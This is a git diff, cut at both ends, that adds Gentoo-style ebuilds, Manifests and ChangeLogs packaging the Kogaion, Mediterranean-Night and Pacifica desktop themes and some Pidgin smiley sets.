@@ -0,0 +1,68 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Kogaion light GTK/XFWM theme"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI="https://pk2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz
+	http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="~arm ~amd64 ~x86"
+IUSE="gtk3 gtk2 gnome-shell unity cinnamon xfwm4"
+
+RDEPEND="gtk3? ( x11-themes/gtk-engines-unico )
+	x11-themes/gtk-engines-murrine
+	x11-themes/gtk-engines
+	x11-themes/kogaion-elementary-icons"
+DEPEND=""
+
+Z="Kogaion-light"
+S="${WORKDIR}"/${Z}/
+THEME="/usr/share/themes"
+
+src_install() {
+	dodir ${THEME}/${Z} || die
+	insinto ${THEME}/${Z} || die
+	doins "${S}"/index.theme || die
+
+	if use gtk3; then
+		doins -r "${S}"/gtk-3.0 || die "Cannot copy gtk3"
+	else
+	ewarn "Gtk3 Files weren't copied"
+	fi
+
+	if use gtk2; then
+		doins -r "${S}"/gtk-2.0 || die "Cannot copy gtk2"
+		doins -r "${S}"/metacity-1 || die "Cannot copy metacity-1"
+	else
+	ewarn "Gtk2 Files were not copied"
+	fi
+
+	if use gnome-shell; then
+		doins -r "${S}"/gnome-shell || die "Cannot copy gnome-shell"
+	else
+	ewarn "Gnome-shell Files were not copied"
+	fi
+
+	if use cinnamon; then
+		doins -r "${S}"/cinnamon || die "Cannot copy cinnamon"
+	else
+	ewarn "Cinnamon Files were not copied"
+	fi
+
+	if use unity; then
+		doins -r "${S}"/unity || die "Cannot copy unity"
+	else
+	ewarn "Unity Files were not copied"
+	fi
+
+	if use xfwm4; then
+		doins -r "${S}"/xfwm4 || die "Cannot copy xfwm"
+	else
+	ewarn "Xfwm Files were not copied"
+        fi
+}
diff --git a/x11-themes/kogaion-light-theme/kogaion-light-theme-2.0.ebuild b/x11-themes/kogaion-light-theme/kogaion-light-theme-2.0.ebuild
new file mode 100644
index 00000000..8a3e34b7
--- /dev/null
+++ b/x11-themes/kogaion-light-theme/kogaion-light-theme-2.0.ebuild
@@ -0,0 +1,70 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Kogaion light theme"
+HOMEPAGE="http://rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz
+	https://pk2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="~arm ~amd64 ~x86"
+IUSE="gtk3 gtk2 gnome-shell unity cinnamon xfwm4"
+
+RDEPEND="gtk3? ( x11-themes/gtk-engines-unico )
+	x11-themes/gtk-engines-murrine
+	x11-themes/gtk-engines-equinox
+	x11-themes/gtk-engines
+	x11-themes/faenza-kupertino-icons"
+DEPEND=""
+
+Z="Kogaion-light"
+S="${WORKDIR}"/${Z}/
+THEME="/usr/share/themes"
+
+src_install() {
+	dodir ${THEME}/${Z} || die
+	insinto ${THEME}/${Z} || die
+	doins "${S}"/index.theme || die
+
+	if use gtk3; then
+		doins -r "${S}"/gtk-3.0 || die "Cannot copy gtk3"
+	else
+	ewarn "Gtk3 Files weren't copied"
+	fi
+
+	if use gtk2; then
+		doins -r "${S}"/gtk-2.0 || die "Cannot copy gtk2"
+		doins -r "${S}"/metacity-1 || die "Cannot copy metacity-1"
+	else
+	ewarn "Gtk2 Files were not copied"
+	fi
+
+	if use gnome-shell; then
+		doins -r "${S}"/gnome-shell || die "Cannot copy gnome-shell"
+		doins -r "${S}"/backgrounds || die "Cannot copy backgrounds"
+	else
+	ewarn "Gnome-shell Files were not copied"
+	fi
+
+	if use cinnamon; then
+		doins -r "${S}"/cinnamon || die "Cannot copy cinnamon"
+	else
+	ewarn "Cinnamon Files were not copied"
+	fi
+
+	if use unity; then
+		doins -r "${S}"/unity || die "Cannot copy unity"
+	else
+	ewarn "Unity Files were not copied"
+	fi
+
+	if use xfwm4; then
+		doins -r "${S}"/xfwm4 || die "Cannot copy xfwm"
+	else
+	ewarn "Xfwm Files were not copied"
+        fi
+}
diff --git a/x11-themes/kogaion-light-theme/kogaion-light-theme-2.1.ebuild b/x11-themes/kogaion-light-theme/kogaion-light-theme-2.1.ebuild
new file mode 100644
index 00000000..9e1751d3
--- /dev/null
+++ b/x11-themes/kogaion-light-theme/kogaion-light-theme-2.1.ebuild
@@ -0,0 +1,70 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Kogaion light theme"
+HOMEPAGE="http://rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+	#https://pk2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz" :temporary out of duty
+
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="~arm ~amd64 ~x86"
+IUSE="gtk3 gtk2 gnome-shell unity cinnamon xfwm4"
+
+RDEPEND="gtk3? ( x11-themes/gtk-engines-unico )
+	x11-themes/gtk-engines-murrine
+	x11-themes/gtk-engines-equinox
+	x11-themes/gtk-engines
+	x11-themes/faenza-kupertino-icons"
+DEPEND=""
+
+Z="Kogaion-light"
+S="${WORKDIR}"/${Z}/
+THEME="/usr/share/themes"
+
+src_install() {
+	dodir ${THEME}/${Z} || die
+	insinto ${THEME}/${Z} || die
+	doins "${S}"/index.theme || die
+
+	if use gtk3; then
+		doins -r "${S}"/gtk-3.0 || die "Cannot copy gtk3"
+	else
+	ewarn "Gtk3 Files weren't copied"
+	fi
+
+	if use gtk2; then
+		doins -r "${S}"/gtk-2.0 || die "Cannot copy gtk2"
+		doins -r "${S}"/metacity-1 || die "Cannot copy metacity-1"
+	else
+	ewarn "Gtk2 Files were not copied"
+	fi
+
+	if use gnome-shell; then
+		doins -r "${S}"/gnome-shell || die "Cannot copy gnome-shell"
+		doins -r "${S}"/backgrounds || die "Cannot copy backgrounds"
+	else
+	ewarn "Gnome-shell Files were not copied"
+	fi
+
+	if use cinnamon; then
+		doins -r "${S}"/cinnamon || die "Cannot copy cinnamon"
+	else
+	ewarn "Cinnamon Files were not copied"
+	fi
+
+	if use unity; then
+		doins -r "${S}"/unity || die "Cannot copy unity"
+	else
+	ewarn "Unity Files were not copied"
+	fi
+
+	if use xfwm4; then
+		doins -r "${S}"/xfwm4 || die "Cannot copy xfwm"
+	else
+	ewarn "Xfwm Files were not copied"
+        fi
+}
diff --git a/x11-themes/mediterranean-night/Manifest b/x11-themes/mediterranean-night/Manifest
new file mode 100644
index 00000000..8177120c
--- /dev/null
+++ b/x11-themes/mediterranean-night/Manifest
@@ -0,0 +1,2 @@
+DIST mediterranean-night-2.03.tar.gz 3082240 SHA256 42a77bf9ab2342de4ceb928239f35840680ca171fcc07fcca0286b1784ed9b41 SHA512 2c0b44694334cfc69ee68a94dc277eccc696cb801c7ee4a8b8df8c65ccae561d9f5b50f00c00335d5bfc0398e1dc406e37a57b509339a15f6cd35616e7d34eaf WHIRLPOOL e8616c45cdf7faf0d93e15248e9eb133d25ed56713b2080e2d710125feb5dacb82c49a419813ab6ced1cc5497e1f2192b7352438a63c052fbfc4bb988a4aeb89
+EBUILD mediterranean-night-2.03.ebuild 1257 SHA256 dc3fb384663d33f1314c326407c92f427bbd5921d937c6f025ade177f8bce5e8 SHA512 56bbbb1890a3e1839f9be697bdea2538dc7f5af4d8f93fabc774ee98c48156878ca9d9653ed3099cc475c34786631568dda8622feafa85524df28cc34ee2d153 WHIRLPOOL 33c8eafecb32ee827e2c348d1ee2e5148762988001b39ce9195bc3772e728153b5d725eb77ebd6b7c02e75fed360a44182557b85c935945a95e07cfac71e3b7e
diff --git a/x11-themes/mediterranean-night/mediterranean-night-2.03.ebuild b/x11-themes/mediterranean-night/mediterranean-night-2.03.ebuild
new file mode 100644
index 00000000..c57f04f9
--- /dev/null
+++ b/x11-themes/mediterranean-night/mediterranean-night-2.03.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Mediterranean-Night series 2.03 themes for Gnome 3.6.x and 3.8.x"
+HOMEPAGE="http://gnome-look.org/content/show.php/MediterraneanNight+Series?content=156782"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+	#http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz (temporary disabled)
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="~arm ~amd64 ~x86"
+IUSE=""
+
+RDEPEND="x11-themes/gtk-engines-murrine
+	x11-themes/gtk-engines"
+
+DEPEND=""
+
+DEST="/usr/share/themes"
+S="${WORKDIR}"
+
+src_install() {
+	insinto ${DEST} || die
+	doins -r "${S}"/MediterraneanDark || die
+	doins -r "${S}"/MediterraneanDarkest || die
+	doins -r "${S}"/MediterraneanGrayDark || die
+	doins -r "${S}"/MediterraneanLight || die
+	doins -r "${S}"/MediterraneanLightDarkest || die
+	doins -r "${S}"/MediterraneanNight || die
+	doins -r "${S}"/MediterraneanNightDarkest || die
+	doins -r "${S}"/MediterraneanTribute || die
+	doins -r "${S}"/MediterraneanTributeBlue || die
+	doins -r "${S}"/MediterraneanTributeDark || die
+	doins -r "${S}"/MediterraneanWhite || die
+	doins -r "${S}"/MediterraneanWhiteNight || die
+}
diff --git a/x11-themes/pacifica-icon-theme/Manifest b/x11-themes/pacifica-icon-theme/Manifest
new file mode 100644
index 00000000..9af5960a
--- /dev/null
+++ b/x11-themes/pacifica-icon-theme/Manifest
@@ -0,0 +1,2 @@
+DIST pacifica_by_bokehlicia-d6nn5lb.zip 12748766 SHA256 ae386009a820d44e2ca758035caed25f579baeb7be3e792f438fd71fe51b7f6a SHA512 7cc73251df87387df14b2bc58d10f453a658013be28b4742616dac90ddcfdaa408aa5ae7c2f052f56897d86da7b497f09118dcf78914b4f5b60a1804c71df4f5 WHIRLPOOL e0848b7185cf07250de1b4bef0ec416fd7056c24c99297c1928ee795c35abf09a6d766e7f904bde457104384576e3c6ebdf20b7f4b91c8cc531e138730256710
+EBUILD pacifica-icon-theme-1.0.ebuild 500 SHA256 5dbd756b890724c613ebea1b68d092a55ac9ab1d18732a22aac5be787f83127f SHA512 83aa00261babb5316c58d62538ec77d4158c8e7ee5daed18f1c2001c67d9114515ebb5278a3b21c1772a81c20c49551fc6cf08daf4421871e4aff7e9204c6fff WHIRLPOOL bb6b8a30bd8e2bf7a0a4dd9821db4402dc7a8bf4208d26d4e4742d59b506b198292012bbff388c7d694ae728957aff7228507d284e0218560b61da7bf247924e
diff --git a/x11-themes/pacifica-icon-theme/pacifica-icon-theme-1.0.ebuild b/x11-themes/pacifica-icon-theme/pacifica-icon-theme-1.0.ebuild
new file mode 100644
index 00000000..f1685527
--- /dev/null
+++ b/x11-themes/pacifica-icon-theme/pacifica-icon-theme-1.0.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils
+
+DESCRIPTION="Pacifica icon theme"
+HOMEPAGE=""
+SRC_URI="http://fc07.deviantart.net/fs71/f/2013/267/b/a/pacifica_by_bokehlicia-d6nn5lb.zip"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+
+S="${WORKDIR}"
+
+src_install() {
+	dodir /usr/share/icons/ || die
+	insinto /usr/share/icons || die
+	doins -r "${S}"/Pacifica || die
+}
diff --git a/x11-themes/pidgin-penguins-smileys/ChangeLog b/x11-themes/pidgin-penguins-smileys/ChangeLog
new file mode 100644
index 00000000..f151cd53
--- /dev/null
+++ b/x11-themes/pidgin-penguins-smileys/ChangeLog
@@ -0,0 +1,9 @@
+# ChangeLog for x11-themes/pidgin-penguins-smileys
+# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/x11-themes/pidgin-penguins-smileys/ChangeLog,v 1.1 2013/05/01 15:11:32 xarthisius Exp $
+
+*pidgin-penguins-smileys-1.0 (01 May 2013)
+
+  01 May 2013; Kacper Kowalik <xarthisius@gentoo.org> +metadata.xml,
+  +pidgin-penguins-smileys-1.0.ebuild:
+  Initial import wrt #452420
diff --git a/x11-themes/pidgin-penguins-smileys/Manifest b/x11-themes/pidgin-penguins-smileys/Manifest
new file mode 100644
index 00000000..8905e6cc
--- /dev/null
+++ b/x11-themes/pidgin-penguins-smileys/Manifest
@@ -0,0 +1,24 @@
+-----BEGIN PGP SIGNED MESSAGE-----
+Hash: SHA256
+
+DIST pidgin-penguins-smileys-1.0.tar.bz2 262178 SHA256 2d9c9bb8550465cd2303fcddad82a27a047b201eba59263059221280b851657a SHA512 f4ac197d31f9b723eb96561540b57afbece3bfa239e70fbe823112087c81cb96246a1878ffd02b1bacf2c1b36c0ed5e1a987ad8852772f3d2f605e4bf8e877a9 WHIRLPOOL 3d4b8cafbac452098c2cf768fcf9d30ca7378725c2ad9ea1a06e2c3e454f2e1f672c39fb52d0d8e4988663a5a8b3ebf807d647a8e98b2317defd910e79e30076
+EBUILD pidgin-penguins-smileys-1.0.ebuild 727 SHA256 3bdcb8c9c27955af0b32c71c7af6b9af277162f5dc5db96e8b2a6ae2274de689 SHA512 d6925d19278c3ad321f0a447cb7812fb6bfb93fbfb04622d5f984bf2ab5ee8048167fd8ebd284bdf96d93195e8b222fd4506956a3b5f903ac68a4bcbbc6f60ed WHIRLPOOL 9746d76dd53250100c5649e242de9cbc83a3d4998cd85832c4846ab3a81ce524c6f32a7faf8210db5bb23c4cfc58484dd763538ee72142ce01f55b3594c2a43b
+MISC ChangeLog 426 SHA256 2024a2ce2e2430f964c8f8eb0b0566ea6884e3ee50244fd47190deb6064318e7 SHA512 e293dfd370f764bc27adcd627495ff56ce4d9a758a8001c290a62456aed48a9e7cc0b4fdff6fad79fb8f3dd3b953d094d5ee55630da89dbc05a05b943f69d20b WHIRLPOOL c07813c886067fd9fa8eb4f65224de05cd8913920cda1d1ca8d854bd117cb29b45c0df2dc9a7fb07b8f11952220cdbef106eda8cffdfd0b60ce2b28c9eeaca3e
+MISC metadata.xml 207 SHA256 bda568bd6d91651898b371550c225b22a677f6a39fa1d78dfbbe84c317ff86ab SHA512 634b892d0b3c6f5335efb57b6c5d24c3afb3a8fff9043165c0e3b06ec20a1c23b9ea6d1fc49a808732a012fc233a0e5a5d3e7450fa3ec2e568d3a01e33b86562 WHIRLPOOL aea794048228b70d99441acde9dc4bed67ac3b54ec51a20c717336429a1ced91c998b91f68464cd84af4c2f83afe8dc4e0784c0c68f5084dea782a7b538faa48
+-----BEGIN PGP SIGNATURE-----
+Version: GnuPG v2.0.19 (GNU/Linux)
+
+iQIcBAEBCAAGBQJRgTCoAAoJEF0huFKJUZL5Z3AP/1u3QdbqH7s2b9gmTJTETldz
+bhKn502hwg67Nx8ola1QJyQQ3aja0Qv98rrmeQq+aKGk732zNfvbeUzchibXMyrT
+hxhh37qlmTiRb0uLg+ySGAwcBJo/PvleDbChnah5KofQJ2kUcGtg/Mhzb1J/Iiwl
+lek0jxtxsgE5ZshO1+Kc7u8gMLRqrsaXNqY2Lkw9yYQ2rLVFXTarQBfyx5c5X8Mf
+xbD62ZDSUZyACQ6H9M/Lb8bFm2ZHKKqrpyQm3QMhAfx1fzce3Rdzx8TZ55JA8Sif
+gGWIxcj0DMlvyAImmGRGYbVjt+GXZI8qm+3tUvUghjyXjxJF1tNNIN+7on93Dwjr
+B5TRJMws27hBblq0yWlsxRjrapFCG7uekS/Bh8y6ZSLp6YBalt0TH0mtF+XciZBO
+kxbrkf7s9hPG8+yeIUAy0h0H6IWNM13ydyX7iiC5q/A5xQzuAMFM2jRxJfbt8hnj
+uXsroRCU5UuUiTbHmW7VC6cmPOeJYhzlAXG/NIrsO+rrtywYIyQa0bujQB3rpp8O
+EJfl0leQltxR5IEn+7NGzAW1BDBK3NhFC+3f2xIil/rduyoB7pyLnDycBdlY1w29
+rk8EQjSMpnrdGr3El2MTY8dtO1kB97CV1xEpCVEy2O0y8x+CtgSZaHBmV7XopVGt
+EJRhHn8u4pfbAsnnXW4S
+=7KL5
+-----END PGP SIGNATURE-----
diff --git a/x11-themes/pidgin-penguins-smileys/metadata.xml b/x11-themes/pidgin-penguins-smileys/metadata.xml
new file mode 100644
index 00000000..a7f330f8
--- /dev/null
+++ b/x11-themes/pidgin-penguins-smileys/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<maintainer>
+		<email>xarthisius@gentoo.org</email>
+	</maintainer>
+</pkgmetadata>
diff --git a/x11-themes/pidgin-penguins-smileys/pidgin-penguins-smileys-1.0.ebuild b/x11-themes/pidgin-penguins-smileys/pidgin-penguins-smileys-1.0.ebuild
new file mode 100644
index 00000000..e8b96b40
--- /dev/null
+++ b/x11-themes/pidgin-penguins-smileys/pidgin-penguins-smileys-1.0.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-themes/pidgin-penguins-smileys/pidgin-penguins-smileys-1.0.ebuild,v 1.1 2013/05/01 15:11:32 xarthisius Exp $
+
+EAPI=5
+
+DESCRIPTION="Penguins pidgin smiley theme"
+HOMEPAGE="http://gnome-look.org/content/show.php?content=62566"
+SRC_URI="mirror://gentoo/${P}.tar.bz2"
+
+LICENSE="GPL-1+"
+SLOT="0"
+IUSE=""
+KEYWORDS="~alpha ~amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86"
+
+RDEPEND="net-im/pidgin"
+DEPEND="app-arch/unzip
+	!x11-themes/pidgin-smileys"
+
+S=${WORKDIR}/penguins
+
+src_install() {
+	dodoc readme.txt
+	rm {readme,emots}.txt || die
+	insinto /usr/share/pixmaps/pidgin/emotes/penguins
+	doins *
+}
diff --git a/x11-themes/pidgin-smileys/ChangeLog b/x11-themes/pidgin-smileys/ChangeLog
new file mode 100644
index 00000000..e072bb77
--- /dev/null
+++ b/x11-themes/pidgin-smileys/ChangeLog
@@ -0,0 +1,57 @@
+# ChangeLog for x11-themes/pidgin-smileys
+# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/x11-themes/pidgin-smileys/ChangeLog,v 1.11 2013/05/01 15:20:14 xarthisius Exp $
+
+  01 May 2013; Kacper Kowalik <xarthisius@gentoo.org>
+  pidgin-smileys-20080819.ebuild, pidgin-smileys-20100821.ebuild:
+  Block x11-themes/pidgin-penguins-smileys
+
+  07 Aug 2011; Pawel Hajdan jr <phajdan.jr@gentoo.org>
+  pidgin-smileys-20100821.ebuild:
+  x86 stable wrt bug #376409
+
+  02 Aug 2011; Markos Chandras <hwoarang@gentoo.org>
+  pidgin-smileys-20100821.ebuild:
+  Stable on amd64 wrt bug #376409
+
+  25 Jul 2011; Kacper Kowalik <xarthisius@gentoo.org>
+  pidgin-smileys-20100821.ebuild:
+  ppc/ppc64 stable wrt #376409
+
+*pidgin-smileys-20100821 (21 Aug 2010)
+
+  21 Aug 2010; Kacper Kowalik <xarthisius@gentoo.org>
+  +pidgin-smileys-20100821.ebuild, metadata.xml:
+  Version bump. Fixes bug 236221. Adding pidgin-penguin-smileys. Claiming
+  ownership.
+
+  19 Aug 2010; Steve Dibb <beandog@gentoo.org> metadata.xml:
+  Assign to maintainer-needed
+
+  29 May 2009; Steve Dibb <beandog@gentoo.org>
+  pidgin-smileys-20080819.ebuild:
+  amd64 stable
+
+*pidgin-smileys-20080819 (20 Aug 2008)
+
+  20 Aug 2008; Steve Dibb <beandog@gentoo.org>
+  +pidgin-smileys-20080819.ebuild:
+  Add kolobok smileys, bug 200715
+
+*pidgin-smileys-20071023-r2 (10 Jan 2008)
+
+  10 Jan 2008; Steve Dibb <beandog@gentoo.org>
+  -pidgin-smileys-20071023-r1.ebuild, +pidgin-smileys-20071023-r2.ebuild:
+  Add unzip dep, bug 204932
+
+*pidgin-smileys-20071023-r1 (24 Oct 2007)
+
+  24 Oct 2007; Steve Dibb <beandog@gentoo.org>
+  -pidgin-smileys-20071023.ebuild, +pidgin-smileys-20071023-r1.ebuild:
+  Bump for broken theme
+
+*pidgin-smileys-20071023 (24 Oct 2007)
+
+  24 Oct 2007; Steve Dibb <beandog@gentoo.org> +metadata.xml,
+  +pidgin-smileys-20071023.ebuild:
+  Initial import, bug 178912
diff --git a/x11-themes/pidgin-smileys/Manifest b/x11-themes/pidgin-smileys/Manifest
new file mode 100644
index 00000000..38290419
--- /dev/null
+++ b/x11-themes/pidgin-smileys/Manifest
@@ -0,0 +1,42 @@
+-----BEGIN PGP SIGNED MESSAGE-----
+Hash: SHA256
+
+DIST Aqua.tar.gz 151748 SHA256 92b4d736ef40501974d7737a668005a9d03b34449cf793da7906f57633b0b969 SHA512 a2af9d9e0202815e71945a678ce465a0073e51a5faf537382773ac7809fe8d9bcdcdf10ab9cc1bd2a99a3ee08a6f7f3bde671d84e99a6c99be4dae3e818422b3 WHIRLPOOL cec00c1a71f6821a251cf02a09a9e7f1f1a8fb72de67bbda2ef42ef9930e0933264e2476ceb63ff8a53b620e7c017d7f3c4b847ee45e25064c078a3cd8bac522
+DIST Bugeyes.tar.gz 93894 SHA256 9afec59c26543534a2171b1c099db9e0949b43872e9cfa7dd60b6e78a0f3e158 SHA512 4229cee88bacd47039b10742dcb91e87c744cf77869d71e1ef1a04f8e93aa1f67f4b7eec114a1e9f3945a429b8149d03a529f2a5d9e947a89ecc81dacd80d754 WHIRLPOOL f37728edfb1264e1db9d070b06ec7880a3f9ddc212471d32402c0fe9329d39704191710dac304e19bf723d68ba42cc32932bc3567e503f0ec687fd7a700a7eb8
+DIST CrystalAIM.tar.gz 105530 SHA256 114774188e41220f19ccbfdf2daeb023b8ae0e80e2a6d48e8a84d30cf2842261 SHA512 2714d7e8869ca89ac271a705a72d8c6878de7bf11648c17762153920b7cb0f164f0c62a3a3db37e1d21efccd79a5144f710097fd06b759212bf723935494389d WHIRLPOOL b9f74e91d65cf29b5f0cf71cc3897ba9776e2e63c1d63dd19e4ffbbb8af4df1db8672be76f522b80ffb7c4798e4a53fb91f60f6f5c905f4f5a0d3aa79b4b76c2
+DIST EasterAIM.tar.gz 103318 SHA256 0c9dc450b7f8c023ab5cb89febca293176c9a37b97d5d2bb4d8767dee0322ed7 SHA512 95d601d7435fde96bbad4f231d8efba1532140d9f50b3a87ff12f10e179ab3815c13fddceba9c122f6da95dba64f192d9ddfa3ae8023bcce021d3b87ba49f1cf WHIRLPOOL 34aaea9b9eec6ca295b3ba15655125f7a304ce67d995a5e7beb21c8802afe9efb2aa4af9b1d40c69627b9f5930815040407feedd404353b79c3fac99ac4e7fe3
+DIST Hand_Drawn.zip 107807 SHA256 b6d870a504451ce4531dbacd5d70a95d70066a4c16ca504ab4b2191693b31c37 SHA512 47a99009c085cd43ada0a9be19e5f55a5b5545276e73de59d5b0237405f3908dcf236eaeeb7f9a77135e64ea882320cbe7c8c7f343e8ecb473b1eb53096dd46d WHIRLPOOL 7b1faf8e680858b20a55a6f80250fdbd93049f73b6ee1d3751b88a42b1b0335b870a677d27d244f12669007dc0f26bd9a27e8991ad484fa58094d25d7b08e30d
+DIST Jimmac_2.tar.gz 152041 SHA256 c511b98a0b2b6c7e15b7f191611ecb6ce78b095ea7fccd13a027c86767902ccd SHA512 a71f0b98019f0c767a901ba086d28a781d092d23d3724f2c73c7ce5f15acaadadc5f05a7c635bfab6f0b3413d6165ac77783ce4f76e7f36f4a2eb3bf569b21d2 WHIRLPOOL 30eb869f829bac108833b74a0b44f23363d8ec5f2424cf315d29cbddb1b99f709f0dfa8af380dd82e0102d4fefd7ec4d24f8f809d88e02f5a659bfe865b1daa6
+DIST Maya.tar.gz 421016 SHA256 7fdef6ff8d7089274a9df3f45e3a11f846dd0528d75d6fee9f10864e57cfb149 SHA512 46db83c9d9f11ed64545b8a9f10f5d9ffd36055fd6ff7298a77bfce7f70c638b4d27cae6817af92424d6ede8dcab3d83b03a380cec9076a409049fc719ab61a4 WHIRLPOOL 993fef77a82e1abb14f7cdbb4e1438115b2a988990cf66123f477c3102d995f68a87712f88b59a2d878caca66c6bf800804cac6cc41feef505e1acdb1fe5fea5
+DIST SmallSmiles.tar.gz 4513 SHA256 afb17a50b1a4a5cb21f6d0053689df44935d2a4c006d062007e39eb1b2347476 SHA512 4bc966676640dcfbb20e49d30d9490102d2054cd3cbd61184fbc6510107dc291ce5274679944948c6fc34d09c4a957a3c919c202a71b417cb27ed4de9804e811 WHIRLPOOL c078c69544900475e4cfd0334a048e9c644a104972a6e8dd4c33bd5768ad88050069fe41cef18ecbb9707ef806e8814c6344b2d4a34a355cee95f878dfebc82c
+DIST TrillyPro.tgz 154875 SHA256 27b43a48daeadfadedefe9621460ba966fab1991a85d91071db993c8fb502796 SHA512 792a12d58cf986b4bc540dfdb8b8a162616dac9a73d101f249e3947f5362e1aec37c8d11b47231002467710f3d8219da27e6b2c96aac764ac38df4fc190bbbe9 WHIRLPOOL 6a02690407e2781ead77990360082d3a9010c72b96d27e4389a0e65240bf4eced467685e604053e055d62f0a4e67a6acc7b31b7943d6d2c8050de9931db61aa2
+DIST dudes.zip 18072 SHA256 021d67389433d11a12ebd241be13ea7336e0680d4b640938f89a9ce4cdeefdf9 SHA512 544f8f8ba4e650b9861c9bebf598ae7d243864b63f1eacd53d73d0a371c8d491c87aa1c2df6999bd8d49f2b32048479913b5cd63670161988688b656a088fbb9 WHIRLPOOL f3e14a7faeb2001afc409dd4f9ea177a4c438253c2cfa7ea17dd99a39753874b71363deb86c1eee0de52ac0b13afde4558fde50da45215aa4ceeee10ef8c58b9
+DIST exhaustive.tar.gz 1521651 SHA256 e352bd6e87d59771523b890f8542a66504548a63d63ad2ed596d03583566e2b0 SHA512 c6ba7d33563b8d2693cdc9f4a9f4c8bdb31665960f847dc03f83cc8386f2c23da5c170713a70c11b7d221371e4df69c7e682b5fd0ef374a6294b6098fb2e9051 WHIRLPOOL 97b9f269a1c622786094918b1aea4c9da1d7bb69c1fa0108908464eb35e39992be6657a3b6b1ac7176483b7c73156a7251e6671d0f1aa4f3509068c2849d5078
+DIST icq-lite-4_smileys.tar.gz 42162 SHA256 0626bbd5b1d92116ba403c01acec05687d3679286eab0f02a70134e125575bd8 SHA512 2e2a96486aaa75484cad30edc70a09dc6144bb69715b809e2c9483ebf431f01876ff4e176918f7a1a5e78fb1bbcd4a8f7310cf63f6eb311d9702cf712f86d21e WHIRLPOOL dd490ed768278508ad002e46d01dfbd4244c683253f212e84cd8bc95875d4c949804002de6dc63790e8a0af891c62a1602637beb58011db1ce8991eff0aa1eb8
+DIST icq_lite.tar.gz 12872 SHA256 e35f5ea6f315e80a437986c5b21a34b7c62bbb3b448bdf3cd01fc4a640604196 SHA512 e22826c0b24661453d88895d8b95a4b3c8e197db07eb24a492c851b177b8a8077fdcea090d8ce20cbe9298573944e1caeda0422ebacb141829f78bd4281a898e WHIRLPOOL 806769e0275c51fa5708b9c690a0d5ad9dee5f78b8e806c2476ff0fd0b17f3bf66878f3858e635118c72e52f3484565f3b102e7c92f4bb6037ea23e34e737167
+DIST kolobok_for_gaim.tar.gz 413463 SHA256 f1d350e121ac1f0ca7834cdc58c0e9b35c05d31e1b303d5a13ea560456b095a4 SHA512 9505dc269a6139ce21d200e00f2769f6cb2e70803a5907a498e0e1d672fba5535c79ee3493d056d73ee29658bc6dca8c7db109ecf9453e8edd1b64a77bd222b8 WHIRLPOOL 924cf8493b4285249497bfa1c9954f7a325f769d5ef2fe164c12b7c7e95990ffbf4282cf8c588a455ef5d3bd17ccb1c2c0987e0237a7ab348bea264b3e63543c
+DIST pidgin-original-1.9.tgz 2657197 SHA256 cbc3c1f01fbb15ce2142522defe35a1d245c08154144021d1d081671ed8afdaa SHA512 8f92acd3743864e772da256d93f6bb70d4004e472b089e0f6f8c022023ccc5605012140795808df6468bd201e6c10b1b21b9ebd20c0a86354369f4a3e23ba19f WHIRLPOOL 673d591752ba511bf09bf7beacd1c4cd5c43b82a177ada6eb35f529fb57a3c0b3090a90356c7ea92570fd8903923f9dd01a20a825b892ad495ec47fdd723799d
+DIST pidgin-penguins-smileys-1.0.tar.bz2 262178 SHA256 2d9c9bb8550465cd2303fcddad82a27a047b201eba59263059221280b851657a SHA512 f4ac197d31f9b723eb96561540b57afbece3bfa239e70fbe823112087c81cb96246a1878ffd02b1bacf2c1b36c0ed5e1a987ad8852772f3d2f605e4bf8e877a9 WHIRLPOOL 3d4b8cafbac452098c2cf768fcf9d30ca7378725c2ad9ea1a06e2c3e454f2e1f672c39fb52d0d8e4988663a5a8b3ebf807d647a8e98b2317defd910e79e30076
